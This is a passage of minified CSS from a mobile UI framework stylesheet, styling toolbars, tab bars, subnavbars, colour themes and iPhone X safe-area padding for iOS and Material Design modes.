.tabbar-labels a.tab-link-active,.ios .color-theme-red.tabbar a.tab-link-active,.ios .color-theme-red.tabbar-labels a.tab-link-active{color:#ff3b30}.ios .color-theme-green .tabbar a.tab-link-active,.ios .color-theme-green .tabbar-labels a.tab-link-active,.ios .color-theme-green.tabbar a.tab-link-active,.ios .color-theme-green.tabbar-labels a.tab-link-active{color:#4cd964}.ios .color-theme-blue .tabbar a.tab-link-active,.ios .color-theme-blue .tabbar-labels a.tab-link-active,.ios .color-theme-blue.tabbar a.tab-link-active,.ios .color-theme-blue.tabbar-labels a.tab-link-active{color:#007aff}.ios .color-theme-pink .tabbar a.tab-link-active,.ios .color-theme-pink .tabbar-labels a.tab-link-active,.ios .color-theme-pink.tabbar a.tab-link-active,.ios .color-theme-pink.tabbar-labels a.tab-link-active{color:#ff2d55}.ios .color-theme-yellow .tabbar a.tab-link-active,.ios .color-theme-yellow .tabbar-labels a.tab-link-active,.ios .color-theme-yellow.tabbar a.tab-link-active,.ios .color-theme-yellow.tabbar-labels a.tab-link-active{color:#fc0}.ios .color-theme-orange .tabbar a.tab-link-active,.ios .color-theme-orange .tabbar-labels a.tab-link-active,.ios .color-theme-orange.tabbar a.tab-link-active,.ios .color-theme-orange.tabbar-labels a.tab-link-active{color:#ff9500}.ios .color-theme-gray .tabbar a.tab-link-active,.ios .color-theme-gray .tabbar-labels a.tab-link-active,.ios .color-theme-gray.tabbar a.tab-link-active,.ios .color-theme-gray.tabbar-labels a.tab-link-active{color:#8e8e93}.ios .color-theme-white .tabbar a.tab-link-active,.ios .color-theme-white .tabbar-labels a.tab-link-active,.ios .color-theme-white.tabbar a.tab-link-active,.ios .color-theme-white.tabbar-labels a.tab-link-active{color:#fff}.ios .color-theme-black .tabbar a.tab-link-active,.ios .color-theme-black .tabbar-labels a.tab-link-active,.ios .color-theme-black.tabbar a.tab-link-active,.ios .color-theme-black.tabbar-labels a.tab-link-active{color:#000}.ios .tabbar-labels.color-red a.tab-link-active,.ios .tabbar.color-red a.tab-link-active{color:#ff3b30}.ios .tabbar-labels.color-green a.tab-link-active,.ios .tabbar.color-green a.tab-link-active{color:#4cd964}.ios .tabbar-labels.color-blue a.tab-link-active,.ios .tabbar.color-blue a.tab-link-active{color:#007aff}.ios .tabbar-labels.color-pink a.tab-link-active,.ios .tabbar.color-pink a.tab-link-active{color:#ff2d55}.ios .tabbar-labels.color-yellow a.tab-link-active,.ios .tabbar.color-yellow a.tab-link-active{color:#fc0}.ios .tabbar-labels.color-orange a.tab-link-active,.ios .tabbar.color-orange a.tab-link-active{color:#ff9500}.ios .tabbar-labels.color-gray a.tab-link-active,.ios .tabbar.color-gray a.tab-link-active{color:#8e8e93}.ios .tabbar-labels.color-white a.tab-link-active,.ios .tabbar.color-white a.tab-link-active{color:#fff}.ios .tabbar-labels.color-black a.tab-link-active,.ios .tabbar.color-black a.tab-link-active{color:#000}.ios.device-iphone-x .login-screen>.toolbar,.ios.device-iphone-x .page>.toolbar,.ios.device-iphone-x .panel>.toolbar,.ios.device-iphone-x .popup>.toolbar,.ios.device-iphone-x .view>.toolbar,.ios.device-iphone-x .views>.toolbar{height:calc(44px + constant(safe-area-inset-bottom));height:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .login-screen>.toolbar .toolbar-inner,.ios.device-iphone-x .page>.toolbar .toolbar-inner,.ios.device-iphone-x .panel>.toolbar .toolbar-inner,.ios.device-iphone-x .popup>.toolbar .toolbar-inner,.ios.device-iphone-x .view>.toolbar .toolbar-inner,.ios.device-iphone-x .views>.toolbar .toolbar-inner{height:auto;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(50px + constant(safe-area-inset-bottom));height:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}}.ios.device-iphone-x .toolbar~* .page-content,.ios.device-iphone-x .toolbar~.page-content{padding-bottom:calc(44px + constant(safe-area-inset-bottom));padding-bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(50px + constant(safe-area-inset-bottom));padding-bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-left-edge .toolbar-inner,.ios.device-iphone-x .panel-left .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-right-edge .toolbar-inner,.ios.device-iphone-x .panel-right .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .toolbar{background:#2196f3;height:48px;color:#fff;font-size:14px;top:0}.md .toolbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .toolbar.no-shadow:after{display:none}.md .toolbar a{color:#fff}.md .toolbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;line-height:48px;height:48px}.md .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .toolbar a.link i+i,.md .toolbar a.link i+span,.md .toolbar a.link span+i,.md .toolbar a.link span+span{margin-right:8px}.md .toolbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .toolbar-inner{overflow:hidden}.md .tabbar a.link,.md .tabbar a.tab-link,.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-left:0;padding-right:0;font-size:14px;text-transform:uppercase;font-weight:500;letter-spacing:.03em}.md .tabbar i.icon,.md .tabbar-labels i.icon{height:24px}.md .tabbar a.tab-link,.md .tabbar-labels a.tab-link{-webkit-transition-duration:.3s;transition-duration:.3s;overflow:hidden;color:rgba(255,255,255,.7);position:relative}.md .tabbar a.tab-link.active-state,.md .tabbar a.tab-link.tab-link-active,.md .tabbar-labels a.tab-link.active-state,.md .tabbar-labels a.tab-link.tab-link-active{color:#fff}.md .tabbar .tab-link-highlight,.md .tabbar-labels .tab-link-highlight{position:absolute;left:0;bottom:0;height:2px;background:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;right:0}.md .messagebar,.md .toolbar-bottom-md{top:auto!important;bottom:0!important}.md .messagebar:after,.md .toolbar-bottom-md:after{content:'';position:absolute;right:0;width:100%;bottom:100%;height:10px;top:auto;pointer-events:none;background:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .messagebar .tab-link-highlight,.md .toolbar-bottom-md .tab-link-highlight{bottom:auto;top:0}.md .tabbar-labels{height:72px}.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-top:12px;padding-bottom:12px}.md .tabbar-labels .tabbar-label{margin-top:10px;max-width:100%;overflow:hidden}.md .tabbar-labels.toolbar-bottom-md{height:56px}.md .tabbar-labels.toolbar-bottom-md a.link,.md .tabbar-labels.toolbar-bottom-md a.tab-link{padding-top:7px;padding-bottom:7px}.md .tabbar-labels.toolbar-bottom-md .tabbar-label{text-transform:none;line-height:1.2;font-weight:400;letter-spacing:0}.md .tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .tabbar-scrollable a.link,.md .tabbar-scrollable a.tab-link{padding:0 16px}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:48px}.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:72px}.md .toolbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .toolbar-hidden:after{display:none}.md .toolbar-hidden.messagebar,.md .toolbar-hidden.toolbar-bottom-md{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:56px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:104px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:128px}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-104px,0);transform:translate3d(0,-104px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md){-webkit-transform:translate3d(0,-128px,0);transform:translate3d(0,-128px,0)}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-56px,0);transform:translate3d(0,-56px,0)}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:64px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:112px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:136px}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-64px,0);transform:translate3d(0,-64px,0)}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-112px,0);transform:translate3d(0,-112px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-136px,0);transform:translate3d(0,-136px,0)}}.md .messagebar~* .page-content,.md .messagebar~.page-content,.md .toolbar-bottom-md~* .page-content,.md .toolbar-bottom-md~.page-content{padding-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .page-content,.md .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:56px}.md .navbar-transitioning+.toolbar,.md .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .color-theme-red .toolbar:not(.messagebar),.md .color-theme-red.toolbar:not(.messagebar){background:#f44336}.md .color-theme-green .toolbar:not(.messagebar),.md .color-theme-green.toolbar:not(.messagebar){background:#4caf50}.md .color-theme-blue .toolbar:not(.messagebar),.md .color-theme-blue.toolbar:not(.messagebar){background:#2196f3}.md .color-theme-pink .toolbar:not(.messagebar),.md .color-theme-pink.toolbar:not(.messagebar){background:#e91e63}.md .color-theme-yellow .toolbar:not(.messagebar),.md .color-theme-yellow.toolbar:not(.messagebar){background:#ffeb3b}.md .color-theme-orange .toolbar:not(.messagebar),.md .color-theme-orange.toolbar:not(.messagebar){background:#ff9800}.md .color-theme-gray .toolbar:not(.messagebar),.md .color-theme-gray.toolbar:not(.messagebar){background:#9e9e9e}.md .color-theme-white .toolbar:not(.messagebar),.md .color-theme-white.toolbar:not(.messagebar){background:#fff}.md .color-theme-black .toolbar:not(.messagebar),.md .color-theme-black.toolbar:not(.messagebar){background:#000}.md .toolbar:not(.messagebar).color-red{background:#f44336}.md .toolbar:not(.messagebar).color-green{background:#4caf50}.md .toolbar:not(.messagebar).color-blue{background:#2196f3}.md .toolbar:not(.messagebar).color-pink{background:#e91e63}.md .toolbar:not(.messagebar).color-yellow{background:#ffeb3b}.md .toolbar:not(.messagebar).color-orange{background:#ff9800}.md .toolbar:not(.messagebar).color-gray{background:#9e9e9e}.md .toolbar:not(.messagebar).color-white{background:#fff}.md .toolbar:not(.messagebar).color-black{background:#000}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md){height:calc(48px + constant(safe-area-inset-top));height:calc(48px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{height:auto}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{bottom:0;top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels{height:calc(72px + constant(safe-area-inset-top));height:calc(72px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar-bottom-md,.md.device-iphone-x .page>.toolbar-bottom-md,.md.device-iphone-x .panel>.toolbar-bottom-md,.md.device-iphone-x .popup>.toolbar-bottom-md,.md.device-iphone-x .view>.toolbar-bottom-md,.md.device-iphone-x .views>.toolbar-bottom-md{height:calc(48px + constant(safe-area-inset-bottom));height:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .login-screen>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .page>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .panel>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .popup>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .view>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .views>.toolbar-bottom-md .toolbar-inner{height:auto;top:0;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .login-screen>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .page>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .panel>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .popup>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .view>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .views>.toolbar-bottom-md.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}.md.device-iphone-x .messagebar~* .page-content,.md.device-iphone-x .messagebar~.page-content,.md.device-iphone-x .toolbar-bottom-md~* .page-content,.md.device-iphone-x .toolbar-bottom-md~.page-content{padding-bottom:calc(48px + constant(safe-area-inset-bottom));padding-bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~* .page-content,.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-left-edge .toolbar-inner,.md.device-iphone-x .panel-left .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-right-edge .toolbar-inner,.md.device-iphone-x .panel-right .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .subnavbar{height:45px;margin-top:-1px;padding-top:1px;background:#f7f7f8}.ios .subnavbar.no-hairline:after{display:none!important}.ios .subnavbar .title{font-weight:700;line-height:1;overflow:visible;font-size:34px;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;letter-spacing:-.03em}.ios .subnavbar .title{margin-right:7px}.ios .subnavbar .left a+a,.ios .subnavbar .right a+a{margin-right:15px}.ios .subnavbar .left{margin-left:10px}.ios .subnavbar .right{margin-right:10px}.ios .subnavbar .right:first-child{left:8px}.ios .subnavbar a.link{line-height:44px;height:44px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .subnavbar a.icon-only{min-width:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:0}.ios .subnavbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .subnavbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .subnavbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .subnavbar-inner{padding:0 8px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .subnavbar,.ios .navbar~.subnavbar{top:44px}.ios .page-with-subnavbar .page-content,.ios .subnavbar~* .page-content,.ios .subnavbar~.page-content{padding-top:44px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~* .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~.page-content,.ios .page-with-subnavbar .navbar~.page-content{padding-top:88px}.ios .theme-dark .subnavbar,.subnavbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .subnavbar:after,.subnavbar.ios .theme-dark:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-left-edge .subnavbar-inner,.ios.device-iphone-x .panel-left .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-right-edge .subnavbar-inner,.ios.device-iphone-x .panel-right .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .subnavbar{height:48px;background:#2196f3;color:#fff}.md .subnavbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .subnavbar.no-shadow:after{display:none}.md .subnavbar .title{margin:0 16px;font-size:20px;line-height:48px;display:inline-block;text-align:left;font-weight:500}.md .subnavbar .title:first-child{margin-right:56px}.md .subnavbar .right{margin-right:auto}.md .subnavbar .right:first-child{left:16px}.md .subnavbar a{color:inherit}.md .subnavbar a.link{line-height:48px;height:48px;min-width:48px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px}.md .subnavbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .subnavbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .subnavbar a.icon-only{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;min-width:0}.md .subnavbar-inner{padding:0 16px}.md .subnavbar-inner>a.link:first-child{margin-right:-16px}.md .subnavbar-inner>a.link:last-child{margin-left:-16px}.md .page-with-subnavbar .page-content,.md .subnavbar~* .page-content,.md .subnavbar~.page-content{padding-top:48px}.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:104px}@media (min-width:768px){.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:112px}}.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:56px}@media (min-width:768px){.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:64px}}.md .color-theme-red .subnavbar,.md .color-theme-red.subnavbar{background:#f44336}.md .color-theme-green .subnavbar,.md .color-theme-green.subnavbar{background:#4caf50}.md .color-theme-blue .subnavbar,.md .color-theme-blue.subnavbar{background:#2196f3}.md .color-theme-pink .subnavbar,.md .color-theme-pink.subnavbar{background:#e91e63}.md .color-theme-yellow .subnavbar,.md .color-theme-yellow.subnavbar{background:#ffeb3b}.md .color-theme-orange .subnavbar,.md .color-theme-orange.subnavbar{background:#ff9800}.md .color-theme-gray .subnavbar,.md .color-theme-gray.subnavbar{background:#9e9e9e}.md .color-theme-white .subnavbar,.md .color-theme-white.subnavbar{background:#fff}.md .color-theme-black .subnavbar,.md .color-theme-black.subnavbar{background:#000}.md .subnavbar.color-red{background:#f44336}.md .subnavbar.color-green{background:#4caf50}.md .subnavbar.color-blue{background:#2196f3}.md .subnavbar.color-pink{background:#e91e63}.md .subnavbar.color-yellow{background:#ffeb3b}.md .subnavbar.color-orange{background:#ff9800}.md .subnavbar.color-gray{background:#9e9e9e}.md .subnavbar.color-white{background:#fff}.md .subnavbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-left-edge .subnavbar-inner,.md.device-iphone-x .panel-left .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-right-edge .subnavbar-inner,.md.device-iphone-x .panel-right .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md 